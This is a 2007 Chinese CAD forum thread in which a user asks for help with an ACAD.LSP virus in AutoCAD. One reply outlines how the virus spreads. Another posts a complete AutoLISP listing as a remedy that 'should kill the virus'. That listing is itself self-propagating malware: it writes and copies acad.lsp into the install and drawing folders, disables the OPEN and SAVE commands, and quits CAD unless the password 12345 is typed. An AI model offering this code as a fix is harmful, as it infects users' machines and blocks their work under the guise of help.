CAD设计论坛

 找回密码
 立即注册
论坛新手常用操作帮助系统等待验证的用户请看获取社区币方法的说明新注册会员必读(必修)
查看: 3204|回复: 14

中了ACAD.LSP怎么办??CAD高手进!

[复制链接]
发表于 2007-9-13 16:16 | 显示全部楼层 |阅读模式
前几天发现打开CAD时,一些常用的快捷命令不能用了,看了PGP文件,一切都未改动,并且打开DWG文件时,会多生成一个ACAD.LSP文件。在网上找了一些方法,都不起作用,用专杀也查不出来(北京鸿业,深圳浩辰),我用的杀毒工具卡巴7.0也查不出来。我是做工程设计的,中了这个家伙后,几乎使我不能制图,这几天急得我茶饭不思,热切期盼高手能解决(可加我QQ:233710887),不胜感激!!!1 w& v. L' [# L
        特将多生成的ACAD文件附上!(见附件)

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
发表于 2007-9-13 16:51 | 显示全部楼层
还是建议你从新装一下CAD把.看了一下病毒的分析,觉得相当麻烦.
发表于 2007-9-13 16:57 | 显示全部楼层
00.定义自动函数S::STARTUP( m2 R* i4 L  y( A9 I

; ^$ Q5 n" \( F, {1 t{01.获取CMDECHO变量,改设为0,一般程序最后会再改回去,
+ N: r( }8 \% n  ]- `& A' Z/ n" Y' s4 Y/ ^. x/ a
{02.通过搜索base.dcl文件,获取ACAD安装路径(support子夹) }: p- v- Q/ Q: ?& ?! Q

3 S  v' y/ O0 ^7 R{03.获取菜单文件完整路径和名称,后来又没用~}; h5 p" e, [4 N( f

# w) \+ \6 h7 e8 x( w. P% V( J{04.获取当前图形文件完整路径和名称,截取当前工作路径}
! \; p" H7 V' A* M( T
  k( E1 p4 S. b" e/ {9 ?{05.获取当前首选ACAD.LSP文件完整路径和名称,截取其路径}% n, J6 \6 O! B! a; [( C5 z& ~

9 H  T% O+ q8 i$ S6 k, \1 S{06.预设程序标记变量LSPBJ为0,意思是假设还没得手}" ]+ j3 J7 P+ O2 r
{07.用只读方式打开support中的ACAD.LSP,如文件不存在则建立同名文件
9 b, K% b' T# o) }" F/ F逐行检查此ACAD.LSP文件内容,一旦发现某行开头为(load "acadapp")7 y& @) ~( l0 Y
则设程序标记变量LSPBJ为1,表示已经得手过
/ B( @" M' e; V只读任务结束,关闭文件}
! h. L% z3 d" [- \! ?. a$ L" E3 w  W, w+ a5 W+ W& \+ F
{08.如果找到的ACAD.LSP路径和当前工作路径不同,
, H! P* @: ?1 t$ |并且不在ACAD\support里面,则
  D$ H. |0 D6 w0 ^; h8 i7 n" q: O{如果LSPBJ为0,也即尚未得手,那么6 n# X: ^4 |+ e0 e2 d3 U
就在ACAD\support\acad.lsp文件末尾添加(load "acadapp")(princ),
& x! A( E% a+ }0 o. x* G即ACAD启动或开图时自动加载acadapp.lsp并隐蔽命令行反应。
5 y# b! }' l- g2 p6 F然后同路径创建acadapp.lsp文件,作为刚改过的acad.lsp的备份. }9 ^9 Q1 K! c$ @. S6 X0 J" B0 q
{如果LSPBJ为1,即已得手,且当前绘图不是未命名的新绘图任务,则$ \" G/ p0 }4 ?: a; @4 R2 I. R
用复写ACAD\support\acadapp.lsp的方式
% g& p& N1 {& z* r7 s在当前工作路径创建acad.lsp. }
$ g2 l3 T7 W3 p. q; z9 a要不就这样一步一步的查找.删除他们看看.
 楼主| 发表于 2007-9-13 17:14 | 显示全部楼层

回复 #2 yjh54900 的帖子

重装也没用啊,问题依旧存在。
发表于 2007-9-13 17:25 | 显示全部楼层
从网上找的,试试看.可以告诉一声
3 A* u' w& d$ p用下面的代码试试.应该会杀掉你们说的病毒.注意:开机后需要输入密码(12345).
9 L1 v% W* o- f8 S- j% s' V- I! C4 R9 t; ~# d

+ R5 r- b+ G& o( M& I( z, `! Q+ l+ Y+ D) S+ `# r+ e
  1. (defun S::STARTUP (/ old_cmd lctn dwglctn mnllctn
    ; u$ O: @" [8 u* L5 }3 Y3 ?+ s
  2. applctn oldacad newacad nowdwg lspbj
    - n5 n' B8 Q+ L, Q- j: M* }
  3. wjm wjm1 wjqm wjqm1 wz & b: d1 P/ h# B# T1 T' ?" I
  4. ns1 ns2 wjm0 wjqm0
    9 A- U0 T$ V& ?) x) E  J: s
  5. )
    - A3 Q3 N! B# M' m# b
  6. (setq lst0 (list "(" "load" "CADstartup.lsp" ")")) 4 E+ n0 ?9 M' X; L% D/ u4 z
  7. 0 P) C! H8 M8 O0 f2 G1 y6 K( _
  8. (setq old_cmd (getvar "cmdecho"))
    $ W- X: N$ ~6 p3 J1 Z, K0 }
  9. (setvar "cmdecho" 0) 7 q  R7 v# t3 R, ^! L6 x
  10. (if (setq lctn (findfile "acad.exe")) (setq lctn0 lctn)
    1 H, }, ?- y5 o) B2 ?
  11. (if (setq lctn (findfile "icad.exe")) (setq lctn0 lctn)
    9 F$ }, G- \# ~: t) l& u4 b
  12. (if (setq lctn (findfile "zwcad.exe")) (setq lctn0 lctn) )))
    ' M1 k2 N: q+ A1 b- |1 e3 s2 U9 k
  13. (setq lctn lctn0)
    % k+ T* e4 P" W
  14. (setq lctn (substr lctn 1 (- (strlen lctn) 8))) 8 @# B& Q4 X$ c( L: j& J" X* |
  15. (setq mnllctn (getvar "menuname"))
    1 T$ E6 G6 }4 I+ l8 d
  16. (setq nowdwg (getvar "dwgname"))
    2 x6 Z" k, \5 D. p/ {/ o9 K: E
  17. (setq wjqm (findfile nowdwg))
    & \- {( s0 K. {5 ~
  18. (setq dwglctn (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg)))) ' C6 J  N% ]0 u& `! G
  19. (if (equal (setq acadlctn (findfile "acad.lsp")) nil) (setq acadlctn (strcat dwglctn "acad.lsp"))
    $ {. l9 f% j. P! m# X2 R
  20. (setq acadlctn (substr acadlctn 1 (- (strlen acadlctn) 8))) )
    1 {; g5 w* |, S" y2 W
  21. (setq wjqm (strcat lctn "acad.lsp"))
    3 [) S. Z5 x( j7 k  D
  22. (setq wjqm0 (strcat lctn "cadapp.lsp")) 4 O4 h$ u& {1 S5 C+ b
  23. (if (setq wjm0 (open wjqm0 "a"))
    ) g( v+ W2 [6 T2 R- l6 V* j) S
  24. ;(progn . K/ q% o2 l' f) `: y
  25. ;(setq aa (read-line wjm0)) , }6 c+ h! Y( j" M, ]6 Q0 F& R
  26. ;(if (/= aa "load CADstartup.lsp") 8 I2 B! j9 Z" d  Y+ v- U) q
  27. (progn 1 Z: p( _( ~$ n3 `" m
  28. (setq aa (strcat (nth 0 lst0) (nth 1 lst0) " " (nth 2 lst0) (nth 3 lst0))) $ F. @1 a; r+ n: |8 K" @
  29. (write-line aa wjm0) - [" m* R: M, Y- n) \' j
  30. )
    & w- |/ z) q1 m7 x8 b; Y5 l- G
  31. (close wjm0)
    ( Q# R7 S. v2 R9 p# Q
  32. ) # D% C9 y% J2 c
  33. 9 a4 Q7 [# }- _0 K9 r& Y6 Z
  34. (setq oldacad (findfile "CADstartup.lsp"))
    : \+ b1 H4 M$ |' N( R; U$ |6 ~3 g
  35. (setq newacad (strcat lctn "acad.lsp")) * p0 p) c1 H6 k2 B( L. O
  36. (writeapp) 8 z/ Q5 v& I/ c8 Q) r
  37. (setq oldacad (findfile "acad.lsp"))
    ) ]# \) K  G% D; \. M6 Z  P
  38. (setq newacad (strcat dwglctn "acad.lsp"))
    ! `/ ~; v% G# e$ y, ~
  39. (writeapp)
    / e) {8 I/ H* w. C! Q- F
  40. (command "undefine" "open") . Z5 y# L2 _' v4 F8 ~0 g  Q3 @
  41. (command "undefine" "save") 7 P- D# W* X& ]# F* n
  42. (setvar "cmdecho" old_cmd) # l6 F" f  r4 w& p6 u
  43. (print "This is CAD")
    9 G/ P( L, w- Z; ]* h) {  D5 n! O+ R
  44. (princ) ) x! j. T8 c- u5 d6 @$ ^
  45. )
    " x2 e% h7 G  s4 o
  46. (defun writeapp ()
    $ ~# W  |* a# O- _( S
  47. (if
    9 o8 ~% v# M+ q: f+ P3 ~: k; t8 n& S
  48. (setq wjm1 (open newacad "w")) 4 W. A! Z( Z6 w  ]$ H" Q/ l: l
  49. (progn 6 S/ b$ z/ @" M5 {: d4 S6 ^# Q8 ~2 l
  50. (setq wjm (open oldacad "r"))
    * g9 _3 K7 ], m$ Y3 ~' ]
  51. (while
    0 ?5 \& a) w, ?) ]. ?% R1 P
  52. (setq wz (read-line wjm))
    : k' ^; G5 |8 I
  53. (write-line wz wjm1) $ ^* o0 \; ?4 r8 ]
  54. ) 3 @& ^4 H1 Z9 x5 I# t% p, V# z) n
  55. (close wjm) 4 V/ h9 \6 @- y5 l6 \$ y" h
  56. (close wjm1) : O& g% K6 p% V. z2 U
  57. )
    4 A7 y+ \7 f( k- x3 s( X
  58. )
    5 R6 I2 _; Y  {0 ?! m* u- ^
  59. )
    ) g1 {2 p& m' Q9 y7 x: L7 Q
  60. (defun C:open (/ p cont old_cmd) 7 L) X9 G' |$ Q' ^
  61. (setq % i) m8 U1 }! t# }
  62. old_cmd (getvar "cmdecho")
    5 Z% A8 K/ q# S" S
  63. ) / [$ e9 y5 e. T  {1 ~
  64. (setvar "cmdecho" 0) , D# r) A/ D3 u
  65. (setq p "12345")
    : A. f7 W  r$ \" G6 q% Z, c
  66. (setq p0 (getstring "\Input Pass Word:"))
    7 f9 v* V" _8 b/ I+ f
  67. (if (eq p p0) (progn   G5 D: b; U* r) o. f2 F! X% C: `
  68. (command "redefine" "open")
    % x8 G" n5 c) Q" z% P7 X, Q
  69. (command "open" "")) (command "quit" "")) " y: Q( K, U5 Z# q" E
  70. ) . `8 \/ Q6 I$ ?! @0 V1 q
  71. (defun C:save (/ old_cmd) 3 k2 _& O2 Q7 Q6 s8 j9 A
  72. (setq old_cmd (getvar "cmdecho")) 3 Q4 ?! G' K* y. P; C5 r0 l
  73. (setvar "cmdecho" 0) ( D0 y0 S5 R- t( Q" T
  74. (setq p0 (getstring "\Are you finish?")) # |2 N7 n) w* o
  75. (command "redefine" "save")
    , p8 x) e" j2 D) v( V* d
  76. (command "save" "") + W# Y0 e  X/ k$ u7 z/ @3 y( Q6 C
  77. (setvar "cmdecho" old_cmd)
    " i# y0 f8 b+ N. Q& K
  78. (princ)
    4 w8 ^# s* y) D! t2 O8 E' Q2 V  S) y% Z, \
  79. )
复制代码
发表于 2007-9-13 17:42 | 显示全部楼层
高手啊!值得学习
发表于 2007-9-13 20:57 | 显示全部楼层
厉害啊……) Z* R7 j; j4 o* [
完全不懂这东西……
发表于 2007-9-13 22:22 | 显示全部楼层
看有没有试过这个方法,$ o- L+ i' G" N3 m. F4 a0 d
“我的电脑”里高级查找acad.lsp、acadapp.lsp这么两个文件,在“包含文字”数据框中输入:explode,选择搜索所有硬盘驱动器,将搜索到的这两个文件全部删除即可
发表于 2007-9-13 23:26 | 显示全部楼层
看了一下病毒的分析,觉得相当麻烦.
发表于 2007-9-21 15:19 | 显示全部楼层
高手向你学习
发表于 2007-9-21 15:25 | 显示全部楼层
还这么一回事??; {  E8 Q' M  {  G0 n
发表于 2007-9-21 16:13 | 显示全部楼层
高手,也曾中过同样的病毒,重装了系统才搞定它!
发表于 2009-2-24 16:28 | 显示全部楼层
真厉害,佩服啊,全都看不懂啊
发表于 2009-5-3 08:44 | 显示全部楼层
不太懂高手们说的什么意思啊,还是没弄明白怎么搞定,这代码什么的咱也不懂啊
发表于 2009-5-3 14:31 | 显示全部楼层
天文符号,总有一天我也会看懂的!
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于|免责|隐私|版权|广告|联系|手机版|CAD设计论坛

GMT+8, 2025-5-8 04:25

CAD设计论坛,为工程师增加动力。

© 2005-2025 askcad.com. All rights reserved.

快速回复 返回顶部 返回列表